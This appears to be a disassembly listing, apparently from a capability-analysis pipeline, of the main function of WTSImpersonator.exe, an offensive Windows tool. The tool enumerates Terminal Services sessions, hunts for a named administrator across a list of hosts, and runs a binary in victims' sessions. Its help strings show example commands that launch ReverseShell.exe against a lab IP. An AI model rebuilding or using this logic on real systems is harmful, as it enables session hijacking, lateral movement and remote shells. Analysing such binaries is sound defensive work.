Function at 0x14001180c
Capabilities:
Get session information
Get session user name

Disassembly:
jmp 0x140023ed0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xa98
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1da
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xab8]
mov rax, qword [0x14003b018]
xor rax, rbp
mov qword [rbp + 0xa58], rax
lea rcx, [0x14004619a]
call fcn.140011bcc
lea rcx, str._n__________________________________________________________________________________________________n____________________________________________________________________________________________n________________________________________________________________________________________n_______________________________________________________________________n______________________________________________________________________n__________________________________.____________________________________n________________________________________________________________________________________________n________________________________________________________________________________________________n_________By:_Omri_Baso________________________________________________n
call fcn.14001158c
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x148], 0
lea rcx, [rbp + 0x168]
call fcn.140011bb8
nop
mov qword [rbp + 0x1a8], 0
mov dword [rbp + 0x1c4], 1
jmp 0x140023f84
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0xa80]
cmp dword [rbp + 0x1c4], eax
jge 0x1400243fe
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 3
lea rdx, [0x140034794]
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
je 0x140023fec
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 7
lea rdx, str.__help
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x1400240ac
lea rcx, str._nLocal:
call fcn.14001158c
lea rcx, str._n_tWTSImpersonator.exe__m_enum
call fcn.14001158c
lea rcx, str._n_tWTSImpersonator.exe__m_exec__id_3__c_C:WindowsSystem32cmd.exe
call fcn.14001158c
lea rcx, str._n_nRemote:
call fcn.14001158c
lea rcx, str._n_tWTSImpersonator.exe__m_enum__s_192.168.40.129
call fcn.14001158c
lea rcx, str._n_tWTSImpersonator.exe__m_exec_remote__s_192.168.40.129__id_3__c_C:ReverseShell.exe__sp_C:WTSService.exe
call fcn.14001158c
lea rcx, str._n_tWTSImpersonator.exe__m_user_hunter__c_C:ReverseShell.exe__sp_C:WTSService.exe__uh_LABS_Administrator__ipl_C:IpList.txt
call fcn.14001158c
lea rcx, str._n_n___Note:_the_local__exec__mode_will_only_work_if_gets_done_through_PsExec_or_a_service.
call fcn.14001158c
lea rcx, str._n_nFlags:
call fcn.14001158c
lea rcx, str._n_t_m_____mode___mode_of_execution_exec_exec_remote_user_hunter.
call fcn.14001158c
lea rcx, str._n_t_s_____server___remote_server_to_attack.
call fcn.14001158c
lea rcx, str._n_t_sp_____srcpath___path_to_the_WTService.exe_service_executable.
call fcn.14001158c
lea rcx, str._n_t_id_____sessionid___SessionId_of_that_victim_user_obtained_from_the__enum__module.
call fcn.14001158c
lea rcx, str._n_t_uh_____user_hunter___Username_of_the_user_targrted_by_the__user_hunter__module.
call fcn.14001158c
lea rcx, str._n_t_ipl_____ip_list___list_of_IPs_hostnames_used_for_the__user_hunter__module.
call fcn.14001158c
lea rcx, str._n_t_c_____command___binary_path_you_want_to_run__it_is_better_to_use_the_full_path_with_this_flag.
call fcn.14001158c
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 3
lea rdx, [0x140034cb8]
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
je 0x1400240fe
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 7
lea rdx, str.__mode
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140024122
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0xa88]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 8], rax
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 3
lea rdx, [0x140034cc4]
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
je 0x140024174
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 9
lea rdx, str.__server
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140024198
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0xa88]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x28], rax
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 4
lea rdx, [0x140034cd4]
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
je 0x1400241ea
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 9
lea rdx, str.__srcpth
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140024211
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0xa88]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x148], rax
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 4
lea rdx, [0x140034ce4]
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
je 0x140024263
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 0xc
lea rdx, str.__sessionid
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x14002428c
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x44], eax
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 4
lea rdx, [0x140034cf8]
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
je 0x1400242de
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 0xe
lea rdx, str.__user_hunter
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x14002430a
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0xa88]
mov rdx, qword [rcx + rax*8]
lea rcx, [rbp + 0x168]
call fcn.140011073
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 5
lea rdx, str._ipl
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
je 0x14002435c
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 0xa
lea rdx, str.__ip_list
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140024383
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0xa88]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x1a8], rax
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 3
lea rdx, [0x140034d24]
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
je 0x1400243d5
movsxd rax, dword [rbp + 0x1c4]
mov r8d, 0xa
lea rdx, str.__command
mov rcx, qword [rbp + 0xa88]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x1400243f9
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0xa88]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x68], rax
jmp 0x140023f76
cmp qword [rbp + 8], 0
jne 0x140024426
mov dword [rbp + 0x934], 1
lea rcx, [rbp + 0x168]
call fcn.140011235
mov eax, dword [rbp + 0x934]
jmp 0x140024e8c
lea rdx, str.enum
mov rcx, qword [rbp + 8]
call fcn.140011cf3
test eax, eax
jne 0x14002482a
cmp qword [rbp + 0x28], 0
je 0x140024457
mov rcx, qword [rbp + 0x28]
call fcn.140011596
mov qword [rbp + 0xa48], rax
jmp 0x140024462
mov qword [rbp + 0xa48], 0
mov rax, qword [rbp + 0xa48]
mov qword [rbp + 0x1e8], rax
lea rax, [rbp + 0xc4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x208]
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x1e8]
call fcn.140011686
mov dword [rbp + 0x124], eax
cmp dword [rbp + 0x124], 0
jne 0x1400244db
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WTSEnumerateSessions_failed:__d_n
call fcn.14001158c
mov dword [rbp + 0x954], 0
lea rcx, [rbp + 0x168]
call fcn.140011235
mov eax, dword [rbp + 0x954]
jmp 0x140024e8c
mov edx, dword [rbp + 0xc4]
lea rcx, str.WTSEnumerateSessions_count:__d_n
call fcn.14001158c
mov dword [rbp + 0x84], 0
jmp 0x140024507
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0xc4]
cmp dword [rbp + 0x84], eax
jae 0x14002482a
mov qword [rbp + 0xe8], 0
mov dword [rbp + 0x104], 0
mov eax, dword [rbp + 0x84]
imul rax, rax, 0x18
mov rcx, qword [rbp + 0x208]
mov eax, dword [rcx + rax]
mov dword [rbp + 0x2c4], eax
mov eax, dword [rbp + 0x84]
imul rax, rax, 0x18
mov qword [rbp + 0xa48], rax
mov ecx, dword [rbp + 0x84]
imul rcx, rcx, 0x18
mov qword [rbp + 0xa50], rcx
mov edx, dword [rbp + 0x84]
imul rdx, rdx, 0x18
mov r8, qword [rbp + 0x208]
mov ecx, dword [r8 + rdx + 0x10]
call fcn.140011c58
mov ecx, dword [rbp + 0x84]
imul rcx, rcx, 0x18
mov rdx, qword [rbp + 0x208]
mov r8, qword [rbp + 0xa48]
mov rdx, qword [rdx + r8 + 8]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x208]
mov r8, qword [rbp + 0xa50]
mov edx, dword [rdx + r8 + 0x10]
mov dword [rsp + 0x20], edx
mov r9, rax
mov rax, qword [rbp + 0x208]
mov r8d, dword [rax + rcx]
mov edx, dword [rbp + 0x84]
lea rcx, str.__u__SessionId:__u_State:__s___u__WinstationName:__s_n
call fcn.14001158c
lea rax, [rbp + 0x104]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe8]
mov r8d, 5
mov edx, dword [rbp + 0x2c4]
mov rcx, qword [rbp + 0x1e8]
call fcn.1400119ba
test eax, eax
jne 0x14002462e
mov dword [rbp + 0x974], 0xffffffff
lea rcx, [rbp + 0x168]
call fcn.140011235
mov eax, dword [rbp + 0x974]
jmp 0x140024e8c
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x228], rax
mov rdx, qword [rbp + 0x228]
lea rcx, str._tWTSUserName:___s_n
call fcn.14001158c
lea rax, [rbp + 0x104]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe8]
mov r8d, 7
mov edx, dword [rbp + 0x2c4]
mov rcx, qword [rbp + 0x1e8]
call fcn.1400119ba
test eax, eax
jne 0x14002469f
mov dword [rbp + 0x994], 0xffffffff
lea rcx, [rbp + 0x168]
call fcn.140011235
mov eax, dword [rbp + 0x994]
jmp 0x140024e8c
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x248], rax
mov rdx, qword [rbp + 0x248]
lea rcx, str._tWTSDomainName:__s_n
call fcn.14001158c
lea rax, [rbp + 0x104]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe8]
mov r8d, 8
mov edx, dword [rbp + 0x2c4]
mov rcx, qword [rbp + 0x1e8]
call fcn.1400119ba
test eax, eax
jne 0x140024710
mov dword [rbp + 0x9b4], 0xffffffff
lea rcx, [rbp + 0x168]
call fcn.140011235
mov eax, dword [rbp + 0x9b4]
jmp 0x140024e8c
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax]
mov dword [rbp + 0x264], eax
mov ecx, dword [rbp + 0x264]
call fcn.140011c58
mov r8, rax
mov edx, dword [rbp + 0x264]
lea rcx, str._tWTSConnectState:__u___s__n
call fcn.14001158c
lea rax, [rbp + 0x104]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe8]
mov r8d, 0xe
mov edx, dword [rbp + 0x2c4]
mov rcx, qword [rbp + 0x1e8]
call fcn.1400119ba
test eax, eax
jne 0x14002478f
mov dword [rbp + 0x9d4], 0xffffffff
lea rcx, [rbp + 0x168]
call fcn.140011235
mov eax, dword [rbp + 0x9d4]
jmp 0x140024e8c
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
cmp dword [rax], 2
jne 0x140024825
mov eax, 1
imul rax, rax, 5
mov rcx, qword [rbp + 0x2a8]
movzx eax, byte [rcx + rax + 4]
mov ecx, 1
imul rcx, rcx, 4
mov rdx, qword [rbp + 0x2a8]
movzx ecx, byte [rdx + rcx + 4]
mov edx, 1
imul rdx, rdx, 3
mov r8, qword [rbp + 0x2a8]
movzx edx, byte [r8 + rdx + 4]
mov r8d, 1
imul r8, r8, 2
mov r9, qword [rbp + 0x2a8]
movzx r8d, byte [r9 + r8 + 4]
mov dword [rbp + 0xa44], r8d
mov dword [rsp + 0x20], eax
mov r9d, ecx
mov r8d, edx
mov eax, dword [rbp + 0xa44]
mov edx, eax
lea rcx, str._tClient_Address_:__d._d._d._d_n
call fcn.14001158c
jmp 0x1400244f9
lea rdx, str.user_hunter
mov rcx, qword [rbp + 8]
call fcn.140011cf3
test eax, eax
jne 0x140024dd9
lea rcx, [rbp + 0x168]
call fcn.140011a1e
dec rax
mov qword [rbp + 0xa48], rax
xor r8d, r8d
lea rdx, [0x140034e60]
lea rcx, [rbp + 0x168]
call fcn.140011433
inc rax
mov rcx, qword [rbp + 0xa48]
mov r9, rcx
mov r8, rax
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x168]
call fcn.140011622
nop
xor r8d, r8d
lea rdx, [0x140034e60]
lea rcx, [rbp + 0x168]
call fcn.140011433
mov r9, rax
xor r8d, r8d
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x168]
call fcn.140011622
nop
lea rdx, str._n___Hunting_for:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
lea rdx, [rbp + 0x328]
mov rcx, rax
call fcn.140011a8c
lea rdx, [0x140034e60]
mov rcx, rax
call fcn.140011168
lea rdx, [rbp + 0x2e8]
mov rcx, rax
call fcn.140011a8c
lea rdx, str._On_list:
mov rcx, rax
call fcn.140011168
mov rdx, qword [rbp + 0x1a8]
mov rcx, rax
call fcn.140011168
lea rdx, [0x140034150]
mov rcx, rax
call fcn.140011168
mov edx, 0x110
lea rcx, [rbp + 0x390]
call fcn.14001181b
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, qword [rbp + 0x1a8]
lea rcx, [rbp + 0x390]
call fcn.140011af0
nop
lea rcx, [rbp + 0x4b8]
call fcn.140011bb8
nop
lea rdx, [rbp + 0x4b8]
lea rcx, [rbp + 0x390]
call fcn.1400116bd
mov qword [rbp + 0x9f8], rax
mov rax, qword [rbp + 0x9f8]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + 0x9f8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x140024da6
mov qword [rbp + 0x4f8], 0
lea rdx, str.____Trying:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
lea rdx, [rbp + 0x4b8]
mov rcx, rax
call fcn.140011a8c
lea rdx, [0x140034150]
mov rcx, rax
call fcn.140011168
lea rcx, [rbp + 0x4b8]
call fcn.140011131
mov rcx, rax
call fcn.140011596
mov qword [rbp + 0x518], rax
cmp qword [rbp + 0x518], 0
jne 0x140024a24
jmp 0x140024975
lea rdx, str.___Opned_WTS_Handle:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
lea rdx, [rbp + 0x4b8]
mov rcx, rax
call fcn.140011a8c
lea rdx, [0x140034150]
mov rcx, rax
call fcn.140011168
lea rcx, [rbp + 0x558]
call fcn.140011bb8
nop
lea rcx, [rbp + 0x598]
call fcn.140011bb8
nop
lea rax, [rbp + 0x364]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x538]
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x518]
call fcn.140011686
mov dword [rbp + 0x124], eax
cmp dword [rbp + 0x124], 0
je 0x140024d88
mov dword [rbp + 0x84], 0
jmp 0x140024ac3
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x364]
cmp dword [rbp + 0x84], eax
jae 0x140024d88
mov eax, dword [rbp + 0x84]
imul rax, rax, 0x18
mov rcx, qword [rbp + 0x538]
mov eax, dword [rcx + rax]
mov dword [rbp + 0x5d4], eax
lea rax, [rbp + 0x104]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x4f8]
mov r8d, 5
mov edx, dword [rbp + 0x5d4]
mov rcx, qword [rbp + 0x518]
call fcn.1400119ba
test eax, eax
jne 0x140024b8d
mov dword [rbp + 0xa14], 0xffffffff
lea rcx, [rbp + 0x598]
call fcn.140011235
nop
lea rcx, [rbp + 0x558]
call fcn.140011235
nop
lea rcx, [rbp + 0x4b8]
call fcn.140011235
nop
lea rcx, [rbp + 0x390]
call fcn.1400111e0
nop
lea rcx, [rbp + 0x328]
call fcn.140011235
nop
lea rcx, [rbp + 0x2e8]
call fcn.140011235
nop
lea rcx, [rbp + 0x168]
call fcn.140011235
mov eax, dword [rbp + 0xa14]
jmp 0x140024e8c
mov rdx, qword [rbp + 0x4f8]
lea rcx, [rbp + 0x558]
call fcn.140011073
lea rax, [rbp + 0x104]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x4f8]
mov r8d, 7
mov edx, dword [rbp + 0x5d4]
mov rcx, qword [rbp + 0x518]
call fcn.1400119ba
test eax, eax
jne 0x140024c3e
mov dword [rbp + 0xa34], 0xffffffff
lea rcx, [rbp + 0x598]
call fcn.140011235
nop
lea rcx, [rbp + 0x558]
call fcn.140011235
nop
lea rcx, [rbp + 0x4b8]
call fcn.140011235
nop
lea rcx, [rbp + 0x390]
call fcn.1400111e0
nop
lea rcx, [rbp + 0x328]
call fcn.140011235
nop
lea rcx, [rbp + 0x2e8]
call fcn.140011235
nop
lea rcx, [rbp + 0x168]
call fcn.140011235
mov eax, dword [rbp + 0xa34]
jmp 0x140024e8c
mov rdx, qword [rbp + 0x4f8]
lea rcx, [rbp + 0x598]
call fcn.140011073
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x558]
call fcn.140011302
movzx eax, al
test eax, eax
je 0x140024d83
lea rdx, [rbp + 0x598]
lea rcx, [rbp + 0x328]
call fcn.140011302
movzx eax, al
test eax, eax
je 0x140024d83
lea rdx, str._n_________________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
lea rdx, str.___Found_User:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
lea rdx, [rbp + 0x328]
mov rcx, rax
call fcn.140011a8c
lea rdx, [0x140034e60]
mov rcx, rax
call fcn.140011168
lea rdx, [rbp + 0x2e8]
mov rcx, rax
call fcn.140011a8c
lea rdx, str._On_Server:
mov rcx, rax
call fcn.140011168
lea rdx, [rbp + 0x4b8]
mov rcx, rax
call fcn.140011a8c
lea rdx, [0x140034150]
mov rcx, rax
call fcn.140011168
lea rdx, str.___Getting_Code_Execution_as:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
lea rdx, [rbp + 0x328]
mov rcx, rax
call fcn.140011a8c
lea rdx, [0x140034e60]
mov rcx, rax
call fcn.140011168
lea rdx, [rbp + 0x2e8]
mov rcx, rax
call fcn.140011a8c
lea rdx, [0x140034150]
mov rcx, rax
call fcn.140011168
lea rcx, [rbp + 0x4b8]
call fcn.140011131
mov r9, qword [rbp + 0x148]
mov r8, qword [rbp + 0x68]
mov rdx, rax
mov ecx, dword [rbp + 0x5d4]
call fcn.1400114ec
jmp 0x140024d88
jmp 0x140024ab5
lea rcx, [rbp + 0x598]
call fcn.140011235
nop
lea rcx, [rbp + 0x558]
call fcn.140011235
jmp 0x140024975
lea rcx, [rbp + 0x4b8]
call fcn.140011235
nop
lea rcx, [rbp + 0x390]
call fcn.1400111e0
nop
lea rcx, [rbp + 0x328]
call fcn.140011235
nop
lea rcx, [rbp + 0x2e8]
call fcn.140011235
lea rdx, str.exec
mov rcx, qword [rbp + 8]
call fcn.140011cf3
test eax, eax
jne 0x140024e1c
mov qword [rbp + 0x5f8], 0
mov r8d, 8
xor edx, edx
lea rcx, [rbp + 0x5f8]
call fcn.1400118d9
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 0x44]
call fcn.14001159b
lea rdx, str.exec_remote
mov rcx, qword [rbp + 8]
call fcn.140011cf3
test eax, eax
jne 0x140024e7a
lea rdx, str.___Selected_Exec_remote_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
mov qword [rbp + 0x618], 0
mov r8d, 8
xor edx, edx
lea rcx, [rbp + 0x618]
call fcn.1400118d9
mov r9, qword [rbp + 0x148]
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 0x44]
call fcn.1400114ec
nop
lea rcx, [rbp + 0x168]
call fcn.140011235
jmp 0x140024e8a
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140032dc0]
call fcn.1400119c9
mov rax, rdi
mov rcx, qword [rbp + 0xa58]
xor rcx, rbp
call fcn.1400115c3
lea rsp, [rbp + 0xa68]
pop rdi
pop rbp
ret